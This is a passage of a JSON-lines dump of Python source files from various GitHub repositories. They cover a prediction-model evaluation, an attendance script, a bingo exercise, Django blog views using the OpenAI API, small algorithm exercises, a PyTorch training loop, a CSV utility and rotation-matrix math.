[self.batch_size],\n            'lr': [self.learning_rate],\n            'step_size': [self.step_size],\n        })\n\n        filename = os.path.join(self.data_directory, \"evaluation/metrics_and_hyperparams.csv\")\n        with open(filename, 'a') as f:\n            df.to_csv(filename, mode='a', header=not f.tell())\n\n        log_grid_error(self.logger, self.prediction_filepath, errors)\n\n        self.logger.info(\"Model errors were calculated successfully\")\n","repo_name":"TUMFTM/mod-prediction-framework","sub_path":"demandprediction/prediction/model/conv_lstm_base_model.py","file_name":"conv_lstm_base_model.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37451555421","text":"print(\"=\"*20)\nprint(\"Keterangan:\")\nprint(\"H = hadir\")\nprint(\"I = izin\")\nprint(\"S = sakit\")\nprint(\"A = alfa/tanpa keterangan\")\nprint(\"=\"*20)\n\ndef absensi_siswa(students): \n  jumlah = {}\n  jumlah_hadir = 0\n  jumlah_sakit = 0\n  jumlah_izin = 0\n  jumlah_alfa = 0\n\n  for student in students:\n    \n    status = input(student + \" (H/S/I/A): \")\n    jumlah[student] = status\n\n    if status == \"H\":\n      jumlah_hadir += 1\n    elif status == \"S\":\n      jumlah_sakit += 1\n    elif status == \"I\":\n      jumlah_izin += 1\n    elif status == \"A\":\n      jumlah_alfa += 1\n\n  print(\"\\nAbsensi siswa:\")\n  for student, status in jumlah.items():\n    if status == 'H':\n      print(student+\": Hadir\")\n    elif status == \"S\":\n      print(student+\": Sakit\")\n    elif status == \"I\":\n      print(student+\": Izin\")\n    elif status == \"A\":\n      print(student+\": Alfa\")\n  \n  jumlah_siswa = len(students)\n  persentase_hadir = jumlah_hadir / jumlah_siswa * 100\n  persentase_izin = jumlah_izin / jumlah_siswa * 100\n  persentase_sakit = jumlah_sakit / jumlah_siswa * 100\n  persentase_alfa = jumlah_alfa / jumlah_siswa * 100\n  print(\"\\nJumlah siswa yang hadir: \" + str(jumlah_hadir)+ \" (\"+\"{:.2f}%\" \")\".format(persentase_hadir))\n  print(\"Jumlah siswa yang sakit: \" + str(jumlah_sakit)+ \" (\"+\"{:.2f}%\" \")\".format(persentase_sakit))\n  print(\"Jumlah siswa yang izin: \" + str(jumlah_izin)+ \" (\"+\"{:.2f}%\" \")\".format(persentase_izin))\n  print(\"Jumlah siswa yang Alfa: \" + str(jumlah_alfa)+ \" (\"+\"{:.2f}%\" \")\".format(persentase_alfa))\n\n\nstudents = [\"Pram\", \"Dita\", \"Adit\", \"Mrap\", \"Raidan\",\"Pramud\",\"DeDita\"]\nabsensi_siswa(students)","repo_name":"JouskaPram/absen-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"1428767589","text":"import contextlib\nimport random\n\n\ndef do_log(msg):\n    print((\"    \" * LOG_INDENT) + msg)\n\n\ndef no_log(msg):\n    pass\n\n\nlog = do_log\nLOG_INDENT = 0\n\n\n@contextlib.contextmanager\ndef indent_log():\n    global LOG_INDENT\n    LOG_INDENT += 1\n    yield\n    LOG_INDENT -= 1\n\n\n@contextlib.contextmanager\ndef suppress_log():\n    global log\n    orig_log = log\n    log = no_log\n    yield\n    log = orig_log\n\n\ndef draw(n=30):\n    \"\"\"Draw a sample of 'n' different numbers in the range [1, 60].\"\"\"\n    return set(random.sample(xrange(1, 61), n))\n\n\ndef str_to_mask(mask_str, hit_symbol=\"X\"):\n    \"\"\"Convert a string representing a card mask to a list of booleans.\"\"\"\n    return [char == hit_symbol for char in mask_str]\n\n\ndef mask_to_str(mask, hit_symbol=\"X\", miss_symbol=\"-\"):\n    \"\"\"Inverse of str_to_mask().\"\"\"\n    return \"\".join(hit_symbol if m else miss_symbol for m in mask)\n\n\nclass Card(object):\n    def __init__(self, nums):\n        self.nums = list(nums)\n\n    def __repr__(self):\n        return repr(self.nums)\n\n    def hits(self, draw):\n        \"\"\"List of booleans indicating whether each cell's number is part of the 'draw'.\"\"\"\n        return [hit in draw for hit in self.nums]\n        #raise NotImplementedError(\">>> your code goes here <<<\")\n\n\nclass Prize(object):\n    def __init__(self, value, mask):\n        self.value = value\n        self.mask = mask\n\n    def __repr__(self):\n        return \"{} (value={})\".format(mask_to_str(self.mask), self.value)\n\n    def check(self, card_hits):\n        \"\"\"True iff the given 'card_hits' list contains this prize.\"\"\"\n        if self.mask == card_hits:\n            return True\n        return False\n        #raise NotImplementedError(\">>> your code goes here <<<\")\n\n\nclass Game(object):\n    def __init__(self, prizes=()):\n        self.prizes = list(prizes)\n\n\nclass Player(object):\n    def __init__(self, game, cards, balance=100):\n        self.game = game\n        self.cards = cards\n        self.balance = balance\n\n    def play(self, bet=1):\n        self.place_bet(bet)\n        nums = draw()\n        log(\"Draw: {}\".format(sorted(nums)))\n        prizes_won = list(self.check_cards(nums))\n        if len(prizes_won) > 0:\n            log(\"Awarding prizes:\")\n            with indent_log():\n                for prize in prizes_won:\n                    self.award_winnings(prize, bet)\n        log(\"Balance after play: {}\".format(self.balance))\n        return prizes_won\n\n    def check_cards(self, nums):\n        \"\"\"Verify prizes against all cards and return an iterable of all prizes won.\"\"\"\n        for card in self.cards:\n            log(\"Checking card: {}\".format(card))\n            card_hits = card.hits(nums)\n            with indent_log():\n                log(\"Card hits: {}\".format(mask_to_str(card_hits)))\n                for prize in self.game.prizes:\n                    log(\"Checking prize: {}\".format(prize))\n                    if prize.check(card_hits):\n                        with indent_log():\n                            log(\"Prize won!\")\n                            yield prize\n        #raise NotImplementedError(\">>> your code goes here <<<\")\n\n    def check_card(self, card, nums):\n        \"\"\"Verify prizes against a given card and return an iterable of all prizes won.\"\"\"\n        log(\"Checking card: {}\".format(card))\n        card_hits = card.hits(nums)\n        with indent_log():\n            log(\"Card hits: {}\".format(mask_to_str(card_hits)))\n            for prize in self.game.prizes:\n                log(\"Checking prize: {}\".format(prize))\n                if prize.check(card_hits):\n                    with indent_log():\n                        log(\"Prize won!\")\n                        yield prize\n\n    def place_bet(self, bet):\n        log(\"Placing bet: {}\".format(bet))\n        self.balance * bet\n        #raise NotImplementedError(\">>> your code goes here <<<\")\n\n    def award_winnings(self, prize, bet):\n        log(\"Awarding winnings for {} with bet {}.\".format(prize, bet))\n        self.add_balance(bet)\n        #raise NotImplementedError(\">>> your code goes here <<<\")\n\n    def add_balance(self, delta):\n        new_balance = self.balance + delta\n        log(\"Balance change: {} {:+d} => {}\".format(self.balance, delta, new_balance))\n        if new_balance < 0.0:\n            raise ValueError(\"attempting to set negative balance\")\n        self.balance = new_balance\n\n\n# Global list of bingo prizes.\nPRIZES = [\n    Prize(\n        value=2000,\n        mask=str_to_mask(\n            \"XXXXX\"\n            \"XXXXX\"\n            \"XXXXX\"\n        ),\n    ),\n    Prize(\n        value=200,\n        mask=str_to_mask(\n            \"X---X\"\n            \"XXXXX\"\n            \"X---X\"\n        ),\n    ),\n    Prize(\n        value=20,\n        mask=str_to_mask(\n            \"X---X\"\n            \"X---X\"\n            \"X---X\"\n        ),\n    ),\n    Prize(\n        value=10,\n        mask=str_to_mask(\n            \"--X--\"\n            \"-X-X-\"\n            \"X---X\"\n        ),\n    ),\n    Prize(\n        value=10,\n        mask=str_to_mask(\n            \"-----\"\n            \"XXXXX\"\n            \"-----\"\n        ),\n    ),\n    Prize(\n        value=5,\n        mask=str_to_mask(\n            \"X---X\"\n            \"-----\"\n            \"X---X\"\n        ),\n    ),\n]\n\n\ndef init(seed=None):\n    random.seed(seed)\n    return Player(\n        game=Game(prizes=PRIZES),\n        cards=[Card(draw(15)) for _ in xrange(5)],\n        balance=1000,\n    )\n\n\ndef main(nplays=287657):\n    player = init(seed=0)\n    with suppress_log():\n        for _ in xrange(nplays-1):\n            player.play(bet=random.choice([1, 2, 3]))\n    player.play(bet=random.choice([1, 2, 3]))\n    return player\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Crystaldream/Mini-Bingo","sub_path":"minibingo.py","file_name":"minibingo.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5958455804","text":"from io import BytesIO\nfrom django.shortcuts import get_object_or_404, render, redirect\nimport requests\nfrom rest_framework import viewsets\nfrom .models import Article\nfrom .serializers import ArticleSerializer\nfrom .forms import SignUpForm, LoginForm, BlogPostForm\nfrom .models import User\nfrom django.contrib.auth import login, logout, authenticate\nfrom django.views.generic import FormView\nfrom django.utils.decorators import method_decorator\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.http import JsonResponse\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\n\n# openai\nfrom pathlib import Path\nimport os\nimport json\nimport openai\n\n\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.contrib import messages\n\n# 글 생성\ndef modelForm(request):\n    if request.method == 'POST':\n        form = BlogPostForm(request.POST)\n\n        if form.is_valid():\n            form.save()\n            return redirect('board')\n    else:\n        form = BlogPostForm()\n    return render(request, 'write.html', {'form':form})\n\ndef post_detail(request, article_id):\n    # article_id로 게시글 가져오기\n    # post = Article.objects.get(article_id=article_id)\n    post = get_object_or_404(Article, article_id=article_id)\n\n    if request.method == 'POST':\n        # 요청에 삭제가 포함된 경우\n        if 'delete-button' in request.POST:\n            post.delete()\n            return redirect('board')\n\n    # 조회수 증가 및 db에 저장\n    post.views += 1 \n    post.save()\n\n    # 이전/다음 게시물 가져옴\n    prev_post = Article.objects.filter(article_id__lt=post.article_id, publish='Y').order_by('-article_id').first()\n    next_post = Article.objects.filter(article_id__gt=post.article_id, publish='Y').order_by('article_id').first()\n\n    # 같은 주제인 게시물들 중 최신 글 가져옴\n    recommended_posts = Article.objects.filter(topic=post.topic, publish='Y').exclude(article_id=post.article_id).order_by('-updated_date')[:2]\n\n    # 게시물 내용에서 첫번째 이미지(썸네일) 태그 추출\n    for recommended_post in recommended_posts:\n        soup = BeautifulSoup(recommended_post.content, 'html.parser')\n        image_tag = soup.find('img')\n        recommended_post.image_tag = str(image_tag) if image_tag else ''\n    \n    context = {\n        'post': post,\n        'prev_post': prev_post,\n        'next_post': next_post,\n        'recommended_posts': recommended_posts,\n        'MEDIA_URL': settings.MEDIA_URL,\n    }\n\n    return render(request, 'post.html', context)\n\n\n\n# 글 목록 띄우기\ndef article_list(request, topic=None):\n    \n    # 선택된 주제 있을 경우 필터링\n    if topic:\n        posts = Article.objects.filter(topic=topic, publish='Y').order_by('-posted_date')\n\n    # 선택된 주제 없을 경우 모든 글목록 보여줌\n    else:\n        posts = Article.objects.filter(publish='Y').order_by('-posted_date')\n\n    # 조회수가 가장 \n    top_post = posts.first()\n\n    return render(request, 'board.html', {'posts':posts, 'top_post':top_post})\n\n\n\ndef create_or_update_post(request, article_id=None):\n    # 글수정 페이지의 경우\n    if article_id:\n        article = get_object_or_404(Article, article_id=article_id)\n    \n    # 글쓰기 페이지의 경우, 임시저장한 글이 있는지 검색 \n    else:\n        article = Article.objects.filter(user_id=request.user.id, publish='N').order_by('-updated_date').first()\n\n    # 업로드/수정 버튼 눌렀을 떄\n    if request.method == 'POST':\n        form = BlogPostForm(request.POST, request.FILES, instance=article) # 폼 초기화\n        \n        if form.is_valid():\n            article = form.save(commit=False)\n\n            # 게시물 삭제\n            if 'delete-button' in request.POST:\n                article.delete()\n                messages.success(request, '게시글이 삭제되었습니다.') \n                return redirect('board') \n\n            # 주제 선택하지 않으면 '일상'으로 자동 선택\n            if not form.cleaned_data.get('topic'):\n                article.topic = '0'\n            \n            # 임시저장 여부 설정\n            if 'temp-save-button' in request.POST:\n                article.publish = 'N'\n            else:\n                article.publish = 'Y'\n\n            # 글쓴이 설정\n            article.user_id = request.user.id\n            \n            # Check if DALL-E image URL is provided\n            dalle_image_url = request.POST.get('dalle_image_url')\n            if dalle_image_url:\n                \n                # DALL-E로 받은 이미지를 IMAGEFILED에 적합한 형태로 바꾸는 과정\n                response = requests.get(dalle_image_url)\n                image_io = BytesIO(response.content)\n                image_file = InMemoryUploadedFile(image_io, None, \"generated_image.png\", 'image/png', len(response.content), None)\n\n                article.image = image_file\n\n            else:\n                article.image = request.FILES.get('image', None)\n\n            article.save()\n            return redirect('posting', article_id=article.article_id) # 업로드/수정한 페이지로 리다이렉트\n    \n    # 수정할 게시물 정보를 가지고 있는 객체를 사용해 폼을 초기화함\n    else:\n        form = BlogPostForm(instance=article)\n\n    template = 'write.html'\n    context = {'form': form, 'article': article, 'edit_mode': article is not None, 'MEDIA_URL': settings.MEDIA_URL,} #edit_mode: 글 수정 모드여부\n\n    return render(request, template, context)\n\n\n\nclass ArticleViewSet(viewsets.ModelViewSet):\n    queryset = Article.objects.all()\n    serializer_class = ArticleSerializer\n\n\n\ndef board(request):\n    return render(request, 'board.html')\n\ndef write(request):\n    return render(request, 'write.html')\n\n\n\ndef my_decorator(function):\n    def decorator_func(request):\n        if not request.user.is_anonymous:\n            return redirect(\"board\")\n        return function(request)\n\n    return decorator_func\n\ndef posting(request):\n    return render(request, \"post.html\")\n\n# 로그아웃 (화면없이 기능 동작 후, 리다이렉트)\ndef logout_view(request):\n    logout(request)\n    return redirect(\"login\")\n\n\n@method_decorator(my_decorator, name=\"get\")\nclass SignUpView(FormView):\n    template_name = \"sign_up.html\"\n    form_class = SignUpForm\n    success_url = \"/blog/board/\"\n\n    def get(self, request, *args, **kwargs):\n        return super().get(request, *args, **kwargs)\n\n    def form_valid(self, form):\n        print(\"SignUpView - form_valid\")\n        # User\n        email = form.data.get(\"email\")\n        password = form.data.get(\"password\")\n\n\n        # 유저 생성\n        user = User.objects.create_user(email, password)\n\n        # 회원가입 인증 후, 바로 로그인 처리\n        user = authenticate(self.request, email=email, password=password)\n        if user is not None:\n            login(self.request, user)\n        return super().form_valid(form)\n\n    def form_invalid(self, form):\n        print(\"SignUpView - form_invalid\")\n        return super().form_invalid(form)\n    \n\n@method_decorator(my_decorator, name=\"get\")\nclass LoginView(FormView):\n    template_name = \"login.html\"\n    form_class = LoginForm\n    success_url = \"/blog/board/\"\n    \n    def get(self, request, *args, **kwargs):\n        return super().get(request, *args, **kwargs)\n    \n    def form_valid(self, form):\n        email = form.data.get(\"email\")\n        password = form.data.get(\"password\")\n        user = authenticate(self.request, email=email, password=password)\n        if user is not None:\n            login(self.request, user)\n        return super().form_valid(form)\n    \n    def form_invalid(self, form):\n        return super().form_invalid(form)\n\n# openai 글 자동완성 기능\nOPENAI_SECRETS_DIR = Path(__file__).resolve().parent.parent / '.secrets'\nsecrets = json.load(open(os.path.join(OPENAI_SECRETS_DIR, 'secret.json')))\nopenai.api_key = secrets['OPENAI_SECRET_KEY']\n\ndef autocomplete(request):\n    if request.method == \"POST\":\n\n        #제목 필드값 가져옴\n        prompt = request.POST.get('title')\n        try:\n            response = openai.ChatCompletion.create(\n                model=\"gpt-3.5-turbo\",\n                messages=[\n                    {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n                    {\"role\": \"user\", \"content\": prompt},\n                ],\n            )\n            # 반환된 응답에서 텍스트 추출해 변수에 저장\n            message = response['choices'][0]['message']['content']\n        except Exception as e:\n            message = str(e)\n        return JsonResponse({\"message\": message})\n    return render(request, 'write.html')\n\ndef generate_image(request):\n    # 이미지 생성에 사용할 키\n    OPENAI_SECRETS_DIR = Path(__file__).resolve().parent.parent / '.secrets'\n    secrets = json.load(open(os.path.join(OPENAI_SECRETS_DIR, 'secret.json')))\n    openai.api_key = secrets['DALLE_SECRET_KEY']\n    \n    # post 요청 받으면 제목 필드값 가져옴\n    if request.method == \"POST\":\n        title = request.POST.get('title')\n        if not title:\n            return JsonResponse({\"message\": \"Title is empty or invalid\"})\n\n        try:\n            response = openai.Image.create(\n            prompt= title,\n            n=1,\n            size=\"512x512\"\n            )\n            image_url = response['data'][0]['url']\n            message = \"success\"\n        \n        except Exception as e:\n            message = str(e)\n        \n        return JsonResponse({\"message\": message, \"image_url\":image_url})\n    return render(request, 'write.html')","repo_name":"wktls63/django_blog_Saigood","sub_path":"Saigoodblog/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26456877284","text":"#write a program to findout minimum and maximum value from given list using function \r\ndef getMinMax(numbers):\r\n    min = max = numbers[0] #chain assignment \r\n    position=1\r\n    size = len(numbers)\r\n    while position<size:\r\n        if numbers[position]<min:\r\n            min = numbers[position]\r\n        elif numbers[position]>max:\r\n            max = numbers[position]\r\n        position=position+1 #2\r\n    return min,max #function return multiple value as tuple \r\nnumbers = [55,10,-45,-100,200,65,11,1125,500,111] #unsorted list\r\nresult = getMinMax(numbers)\r\nprint(result)\r\nprint(\"minimum value \",result[0])\r\nprint(\"maximum value \",result[1])","repo_name":"Parampatel07/pyb5","sub_path":"function6.py","file_name":"function6.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5467538969","text":"from collections import Counter\n\ndef solution(a):\n    answer = 0\n    if len(a) < 1:\n        return 0\n    count = Counter(a)\n    for k, c in count.items():\n        if c * 2 <= 0:\n            continue\n\n        index = 1\n        num = 0\n\n        while index < len(a):\n            if (a[index-1] != k and a[index] != k) or a[index - 1] == a[index]:\n                index +=1\n                continue\n            num += 2\n            index += 2\n        answer = max(answer, num)\n    return answer\n\nprint(solution([5,2,3,3,5,3]))","repo_name":"wjdqlsdlsp/coding_test_practice","sub_path":"programmers_Feb/20220218_1.py","file_name":"20220218_1.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"738319744","text":"import os\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nfrom data import *\nfrom model import *\nfrom utils import *\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\n\ndef evaluate(classifier, loader, device=torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')):\n    XELoss = nn.CrossEntropyLoss(reduction=\"sum\")\n    loss = 0.\n    accuracy= 0.\n    idx = 0.\n    for images, labels in loader:\n        images = images.to(device)\n        labels = labels.to(device)\n        idx += len(images)\n        with torch.no_grad():\n            prediction = classifier(images)\n        loss += XELoss(prediction, labels)\n        predicted_labels = torch.argmax(prediction, dim=1)\n        accuracy += 100.0 * (predicted_labels == labels).sum().item()\n    return np.round(accuracy/idx,2), loss.item()/idx\n\ndef training_phi(\n        classifier,\n        loaders,\n        config,\n        device=torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n):\n\n    # data loaders\n    (\n        train_loader,\n        val_loader,\n        test_loader\n    ) = loaders\n\n    writer = SummaryWriter(config[\"writer_path\"])\n    XELoss = nn.CrossEntropyLoss(reduction=\"mean\")\n    optimizer = optim.SGD(classifier.parameters(), lr=config[\"optimizer\"][\"lr\"],\n                          momentum=config[\"optimizer\"][\"momentum\"],\n                          weight_decay=config[\"optimizer\"][\"weight_decay\"])\n\n    x_counter = 0\n\n    val_accuracy, val_loss = evaluate(classifier, val_loader)\n    test_accuracy, test_loss = evaluate(classifier, test_loader)\n\n    # writer.add_scalar('loss/train', epoch_loss, 0)\n    writer.add_scalar('loss/val', val_loss, 0)\n    writer.add_scalar('loss/test', test_loss, 0)\n\n    writer.add_scalar('accuracy/val', val_accuracy, 0)\n    writer.add_scalar('accuracy/test', test_accuracy, 0)\n\n    print(f\"Original val accuracy: {np.round(val_accuracy, 2)}%, test loss: {np.round(val_loss, 2)}\")\n    print(f\"Original test accuracy: {np.round(test_accuracy, 2)}%, test loss: {np.round(test_loss, 2)}\")\n\n    val_best_accuracy = 0\n    test_best_accuracy = 0\n\n    t0 = time.time()\n    for epoch in range(1, config[\"n_epochs\"]+1):\n        t1 = time.time()\n        print(f\"Starting epoch {epoch} -- \"+get_duration(t0, t1))\n        for local_X, local_y in iter(train_loader):\n            local_X = local_X.to(device)\n            local_y = local_y.to(device)\n\n            prediction = classifier(local_X)\n            loss = XELoss(prediction, local_y)\n\n            # gradient step\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n            # appending losses\n            x_counter += 1\n\n            # logging\n            writer.add_scalar('loss/train', loss, x_counter)\n\n        if (epoch % config[\"eval_every_n_epochs\"]) == 0:\n            print(f\"Validation and test at epoch {epoch}\")\n            val_accuracy, val_loss = evaluate(classifier, val_loader)\n            if val_accuracy > val_best_accuracy:\n                torch.save(classifier.conv.state_dict(), os.path.join(config[\"writer_path\"], \"val_model.pth\"))\n                val_best_accuracy  = val_accuracy\n\n            test_accuracy, test_loss = evaluate(classifier, test_loader)\n            if test_accuracy > test_best_accuracy:\n                torch.save(classifier.conv.state_dict(), os.path.join(config[\"writer_path\"], \"test_model.pth\"))\n                test_best_accuracy = test_accuracy\n                test_best_loss = test_loss\n\n            # writer.add_scalar('loss/train', epoch_loss, 0)\n            writer.add_scalar('loss/val', val_loss, x_counter)\n            writer.add_scalar('loss/test', test_loss, x_counter)\n\n            writer.add_scalar('accuracy/val', val_accuracy, x_counter)\n            writer.add_scalar('accuracy/test', test_accuracy, x_counter)\n\n            print(f\"val_acc: {np.round(val_accuracy, 2)}%  val_loss: {np.round(val_loss, 2)} -- test_acc: {np.round(test_accuracy, 2)}%  test_loss: {np.round(test_loss, 2)} ---- \"+get_duration(t0, t1))\n\n    print(f\"Final test accuracy: {np.round(test_accuracy, 2)}%, test loss: {np.round(test_loss, 2)}\")\n    return test_best_accuracy, test_best_loss\n\n\n\n\n\n","repo_name":"JosephElHachem/RotationsPreTrain","sub_path":"training_phi.py","file_name":"training_phi.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38923531556","text":"import csv\nimport argparse\nfrom datetime import datetime\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file')\nargs = parser.parse_args()\n\nif args.file:\n    filename = args.file\nelse:\n    filename = input('Enter filename (including \\'.csv\\'): ')\n\ndt = datetime.now().strftime('%Y-%m-%d %H.%M.%S')\n\nf = csv.writer(open('expandedIdentifiers' + filename, 'w'))\nf.writerow(['identifier'] + ['dc.identifier.other'])\n\nwith open(filename) as itemMetadataFile:\n    itemMetadata = csv.DictReader(itemMetadataFile)\n    for row in itemMetadata:\n        identifier = row['identifier']\n        zfill_identifier = str(identifier).zfill(5)\n        prefix = 'jhu_coll-0002_'\n        expandedId = prefix + zfill_identifier\n        f.writerow([identifier] + [expandedId])","repo_name":"mjanowiecki/metadata-editing-python","sub_path":"reformat-values/addPrefixToIdentifiers.py","file_name":"addPrefixToIdentifiers.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"}
{"seq_id":"12183992680","text":"import math\nimport numpy as np\n\nclose_enough_to_zero_R = 1e-10 # for the elements of rotation matrices\n\n'''\nExtrinsic rotations are about the axes of the original coordinate system, which\nis assumed to remain motionless. This is the convention of the 'rpy' attribute\nof the URDF format.\nIntrinsic rotations are about the axes of a rotating coordinate system, attached\nto the moving body, which changes its orientation after each individual\nrotation. This is the convention of that 'rotation' attribute of the RobCoGen\nformat.\n'''\n\n\ndef getR_intrinsicXYZ(rx, ry, rz):\n    '''\n    This is the rotation matrix **base_R_rotated**, where 'rotated' is obtained\n    from 'base' with the **intrinsic** rotations rx, ry, and rz\n\n                 cos(ry) cos(rz)                             - cos(ry) sin(rz)                     sin(ry)\n    cos(rx) sin(rz) + sin(rx) sin(ry) cos(rz)    cos(rx) cos(rz) - sin(rx) sin(ry) sin(rz)    - sin(rx) cos(ry)\n    sin(rx) sin(rz) - cos(rx) sin(ry) cos(rz)    cos(rx) sin(ry) sin(rz) + sin(rx) cos(rz)     cos(rx) cos(ry)\n    '''\n    sx = math.sin(rx)\n    cx = math.cos(rx)\n    sy = math.sin(ry)\n    cy = math.cos(ry)\n    sz = math.sin(rz)\n    cz = math.cos(rz)\n    return np.array(\n        [ [cy*cz            , - cy*sz          ,sy      ],\n          [cx*sz + cz*sx*sy , cx*cz - sx*sy*sz , - cy*sx],\n          [sx*sz - cx*cz*sy , cx*sy*sz + cz*sx ,  cx*cy ] ] )\n\n'''\nExtract the intrinsic Euler angles XYZ from the rotation matrix **base_R_rotated**\n'''\ndef getIntrinsicXYZFromR( Rin ) :\n    # We need truncation, otherwise small coefficients will make the ratios\n    # inside atan big enough to induce wrong results\n    R = np.copy( Rin )\n    R[ abs(R)<close_enough_to_zero_R ] = 0.0\n\n    if R[0,2] != 1.0 and R[0,2] != -1.0 : # if not singular case, ie if not cos(ry) = 0\n        ry = math.asin( R[0,2] )\n        rx = math.atan2(-R[1,2], R[2,2])\n        rz = math.atan2(-R[0,1], R[0,0])\n    else :\n        # In the singular case, we use other elements of the matrix to\n        # reconstruct the angles. The expressions in these elements have the\n        # form of sine/cosine of the sum of rx and rz; rz can however be set\n        # arbitrarily to 0\n        if R[0,2] == 1.0 :\n            '''\n            cos(ry) cos(rz)                      - cos(ry) sin(rz)                   1\n    cos(rx) sin(rz) + sin(rx) cos(rz)    cos(rx) cos(rz) - sin(rx) sin(rz)           0\n    sin(rx) sin(rz) - cos(rx) cos(rz)    cos(rx) sin(rz) + sin(rx) cos(rz)           0\n            '''\n            ry = math.pi/2\n            rz = 0.0\n            rx = math.atan2(R[1,0], -R[2,0]) # this is really rx+rz, but we set rz=0\n        else : # R[0,2] = -1\n            '''\n            cos(ry) cos(rz)                      - cos(ry) sin(rz)                  -1\n    cos(rx) sin(rz) - sin(rx) cos(rz)    cos(rx) cos(rz) + sin(rx) sin(rz)           0\n    sin(rx) sin(rz) + cos(rx) cos(rz)   -cos(rx) sin(rz) + sin(rx) cos(rz)           0\n            '''\n            # R[1,1] = cos(rx-rz)\n            # R[2,1] = sin(rx-rz)\n            ry = - math.pi/2\n            rz = 0.0\n            rx = math.atan2( R[2,1], R[1,1])\n\n    return (rx, ry, rz)\n\n\ndef getR_extrinsicXYZ(rx, ry, rz):\n    '''\n    This is the rotation matrix **base_R_rotated**, where 'rotated' is obtained from\n    'base' with the **extrinsic** rotations rx, ry, and rz\n\n    cos(ry) cos(rz)    sin(rx) sin(ry) cos(rz) - cos(rx) sin(rz)    sin(rx) sin(rz) + cos(rx) sin(ry) cos(rz)\n    cos(ry) sin(rz)    sin(rx) sin(ry) sin(rz) + cos(rx) cos(rz)    cos(rx) sin(ry) sin(rz) - sin(rx) cos(rz)\n       - sin(ry)                    sin(rx) cos(ry)                              cos(rx) cos(ry)\n    '''\n    sx = math.sin(rx)\n    cx = math.cos(rx)\n    sy = math.sin(ry)\n    cy = math.cos(ry)\n    sz = math.sin(rz)\n    cz = math.cos(rz)\n    return np.array(\n        [[cy*cz,  cz*sx*sy - cx*sz,  sx*sz + cx*cz*sy],\n         [cy*sz,  sx*sy*sz + cx*cz,  cx*sy*sz - cz*sx],\n         [ - sy,        cy*sx     ,        cx*cy      ]] )\n\n\ndef _extrinsic2intrinsic_XYZ(erx, ery, erz):\n    sx = math.sin(erx)\n    cx = math.cos(erx)\n    sy = math.sin(ery)\n    cy = math.cos(ery)\n    sz = math.sin(erz)\n    cz = math.cos(erz)\n\n    irx = math.atan2( sx*cz-cx*sy*sz, cx*cy)\n    iry = math.asin ( sx*sz + cx*sy*cz )\n    irz = math.atan2( cx*sz - sx*sy*cz, cy*cz )\n\n    return (irx, iry, irz)\n\ndef _intrinsic2extrinsic_XYZ(irx, iry, irz):\n    sx = math.sin(irx)\n    cx = math.cos(irx)\n    sy = math.sin(iry)\n    cy = math.cos(iry)\n    sz = math.sin(irz)\n    cz = math.cos(irz)\n\n    erx = math.atan2(cx*sy*sz + sx*cz, cx*cy)\n    ery = math.asin(cx*sy*cz - sx*sz)\n    erz = math.atan2(cx*sz+sx*sy*cz, cy*cz)\n\n    return (erx, ery, erz)\n\ndef __cross_mx(r) :\n    return np.array(\n        [[ 0   , -r[2],  r[1] ],\n         [ r[2],   0  , -r[0] ],\n         [-r[1],  r[0],    0  ]] )\n\ndef rotoTranslateInertia(inertia, tr, R) :\n    mass = inertia['mass']\n    com  = inertia['com']\n    vec  = com - tr\n\n    com_x = __cross_mx(com)\n    vec_x = __cross_mx(vec)\n\n    ixx = inertia['Ix']\n    iyy = inertia['Iy']\n    izz = inertia['Iz']\n    ixy = inertia['Ixy']\n    ixz = inertia['Ixz']\n    iyz = inertia['Iyz']\n    tensor = np.array( [[ ixx, -ixy, -ixz],\n                        [-ixy,  iyy, -iyz],\n                        [-ixy, -iyz,  izz] ])\n    tensor = tensor - mass * (np.matmul(com_x, com_x.T) - np.matmul(vec_x, vec_x.T))\n\n    tensor2 = np.matmul(np.matmul(R, tensor), R.T)\n    com2 = np.matmul(R, vec)\n    ret = {}\n    ret['mass'] = mass\n    ret['com'] = com2\n    ret['Ix']  =  tensor2[0,0]\n    ret['Iy']  =  tensor2[1,1]\n    ret['Iz']  =  tensor2[2,2]\n    ret['Ixy'] = -tensor2[0,1]\n    ret['Ixz'] = -tensor2[0,2]\n    ret['Iyz'] = -tensor2[1,2]\n    return ret","repo_name":"ori-drs/quadruped_robcogen","sub_path":"external/urdf2kindsl/urdf2kindsl/numeric.py","file_name":"numeric.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"}
